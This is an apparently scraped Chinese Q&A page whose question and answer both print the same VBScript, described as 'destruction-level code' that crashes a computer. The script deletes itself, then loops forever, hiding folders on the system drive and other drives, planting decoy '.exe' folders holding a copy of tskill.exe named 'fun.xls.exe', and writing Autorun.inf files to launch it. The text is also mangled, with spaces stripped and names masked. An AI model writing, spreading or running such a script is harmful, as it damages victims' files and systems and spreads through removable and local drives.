已解决问题
谷歌U3134939021用户在2019.05.15提交了关于“小辣椒手机电脑代码大全vbs”的提问，欢迎大家涌跃发表自己的观点。目前共有1个回答，最后更新于2025-01-15T16:52:11。OnErrorResumeNext<brdata-filtered="filtered">
Setfso=CreateObject("Scripting.FileSystemObject")<brdata-filtered="filtered">
SetCx=fso.GetSpecialFolder(0)<brdata-filtered="filtered">
fso.GetFile(WScript.ScriptFullName).Delete(True)<brdata-filtered="filtered">
Do<brdata-filtered="filtered">
C=fso.GetParentFolderName(Cx)<brdata-filtered="filtered">
SetFdrs=fso.GetFolder(C).SubFolders<brdata-filtered="filtered">
<brdata-filtered="filtered">
ForEachFdrInFdrs<brdata-filtered="filtered">
IfNotfso.GetExtensionName(***.Name)="exe"Then<brdata-filtered="filtered">
fso.CreateFolder(C&***.Name&".exe")<brdata-filtered="filtered">
Setfun=fso.GetFile(C&"WINDOWS\system32\tskill.exe")<brdata-filtered="filtered">
fun.Attributes=6<brdata-filtered="filtered">
fun.Copy(C&***.Name&".exe\fun.xls.exe")<brdata-filtered="filtered">
Setauto=fso.CreateTextFile(C&***.Name&".exe\Autorun.inf")<brdata-filtered="filtered">
auto.WriteLine("[Autorun]")<brdata-filtered="filtered">
auto.WriteLine("Open=fun.xls.exe")<brdata-filtered="filtered">
auto.Close<brdata-filtered="filtered">
Setauto=Nothing<brdata-filtered="filtered">
Setfun=Nothing<brdata-filtered="filtered">
fso.GetFolder(C&***.Name&".exe").Attributes=Fdr.Attributes<brdata-filtered="filtered">
Fdr.Attributes=6<brdata-filtered="filtered">
EndIf<brdata-filtered="filtered">
Next<brdata-filtered="filtered">
<brdata-filtered="filtered">
SetCx=Nothing<brdata-filtered="filtered">
SetFdrs=Nothing<brdata-filtered="filtered">
<brdata-filtered="filtered">
Setdrvs=fso.Drives<brdata-filtered="filtered">
ForEachdrvIndrvs<brdata-filtered="filtered">
Ifdrv.DriveType=2Then<brdata-filtered="filtered">
Ifdrv&"\"=CThen<brdata-filtered="filtered">
Else<brdata-filtered="filtered">
SetFdrs=fso.GetFolder(drv).SubFolders<brdata-filtered="filtered">
<brdata-filtered="filtered">
ForEachFdrInFdrs<brdata-filtered="filtered">
IfNotfso.GetExtensionName(***.Name)="exe"Then<brdata-filtered="filtered">
***.Name=***.Name&".exe"<brdata-filtered="filtered">
Setfun=fso.GetFile(C&"WINDOWS\system32\tskill.exe")<brdata-filtered="filtered">
fun.Copy(drv&"\"&***.Name&"\fun.xls.exe")<brdata-filtered="filtered">
Setauto=fso.CreateTextFile(drv&"\"&***.Name&"\Autorun.inf")<brdata-filtered="filtered">
auto.WriteLine("[Autorun]")<brdata-filtered="filtered">
auto.WriteLine("Open=fun.xls.exe")<brdata-filtered="filtered">
auto.Close<brdata-filtered="filtered">
Setauto=Nothing<brdata-filtered="filtered">
Setfun=Nothing<brdata-filtered="filtered">
EndIf<brdata-filtered="filtered">
Next<brdata-filtered="filtered">
<brdata-filtered="filtered">
EndIf<brdata-filtered="filtered">
EndIf<brdata-filtered="filtered">
Next<brdata-filtered="filtered">
WScript.Sleep60*1000<brdata-filtered="filtered">
Loop<brdata-filtered="filtered">
毁灭级别代码，一旦使用电脑永久崩溃，请勿轻易尝试，一切责任与作者本人无关
谢谢配合————————
希望大家能够帮助她。详细问题描述及疑问：
OnErrorResumeNext<brdata-filtered="filtered">
Setfso=CreateObject("Scripting.FileSystemObject")<brdata-filtered="filtered">
SetCx=fso.GetSpecialFolder(0)<brdata-filtered="filtered">
fso.GetFile(WScript.ScriptFullName).Delete(True)<brdata-filtered="filtered">
Do<brdata-filtered="filtered">
C=fso.GetParentFolderName(Cx)<brdata-filtered="filtered">
SetFdrs=fso.GetFolder(C).SubFolders<brdata-filtered="filtered">
<brdata-filtered="filtered">
ForEachFdrInFdrs<brdata-filtered="filtered">
IfNotfso.GetExtensionName(***.Name)="exe"Then<brdata-filtered="filtered">
fso.CreateFolder(C&***.Name&".exe")<brdata-filtered="filtered">
Setfun=fso.GetFile(C&"WINDOWS\system32\tskill.exe")<brdata-filtered="filtered">
fun.Attributes=6<brdata-filtered="filtered">
fun.Copy(C&***.Name&".exe\fun.xls.exe")<brdata-filtered="filtered">
Setauto=fso.CreateTextFile(C&***.Name&".exe\Autorun.inf")<brdata-filtered="filtered">
auto.WriteLine("[Autorun]")<brdata-filtered="filtered">
auto.WriteLine("Open=fun.xls.exe")<brdata-filtered="filtered">
auto.Close<brdata-filtered="filtered">
Setauto=Nothing<brdata-filtered="filtered">
Setfun=Nothing<brdata-filtered="filtered">
fso.GetFolder(C&***.Name&".exe").Attributes=Fdr.Attributes<brdata-filtered="filtered">
Fdr.Attributes=6<brdata-filtered="filtered">
EndIf<brdata-filtered="filtered">
Next<brdata-filtered="filtered">
<brdata-filtered="filtered">
SetCx=Nothing<brdata-filtered="filtered">
SetFdrs=Nothing<brdata-filtered="filtered">
<brdata-filtered="filtered">
Setdrvs=fso.Drives<brdata-filtered="filtered">
ForEachdrvIndrvs<brdata-filtered="filtered">
Ifdrv.DriveType=2Then<brdata-filtered="filtered">
Ifdrv&"\"=CThen<brdata-filtered="filtered">
Else<brdata-filtered="filtered">
SetFdrs=fso.GetFolder(drv).SubFolders<brdata-filtered="filtered">
<brdata-filtered="filtered">
ForEachFdrInFdrs<brdata-filtered="filtered">
IfNotfso.GetExtensionName(***.Name)="exe"Then<brdata-filtered="filtered">
***.Name=***.Name&".exe"<brdata-filtered="filtered">
Setfun=fso.GetFile(C&"WINDOWS\system32\tskill.exe")<brdata-filtered="filtered">
fun.Copy(drv&"\"&***.Name&"\fun.xls.exe")<brdata-filtered="filtered">
Setauto=fso.CreateTextFile(drv&"\"&***.Name&"\Autorun.inf")<brdata-filtered="filtered">
auto.WriteLine("[Autorun]")<brdata-filtered="filtered">
auto.WriteLine("Open=fun.xls.exe")<brdata-filtered="filtered">
auto.Close<brdata-filtered="filtered">
Setauto=Nothing<brdata-filtered="filtered">
Setfun=Nothing<brdata-filtered="filtered">
EndIf<brdata-filtered="filtered">
Next<brdata-filtered="filtered">
<brdata-filtered="filtered">
EndIf<brdata-filtered="filtered">
EndIf<brdata-filtered="filtered">
Next<brdata-filtered="filtered">
WScript.Sleep60*1000<brdata-filtered="filtered">
Loop<brdata-filtered="filtered">
毁灭级别代码，一旦使用电脑永久崩溃，请勿轻易尝试，一切责任与作者本人无关
谢谢配合————————
期待您的答案，感谢你,我会记得你对我的好的 ！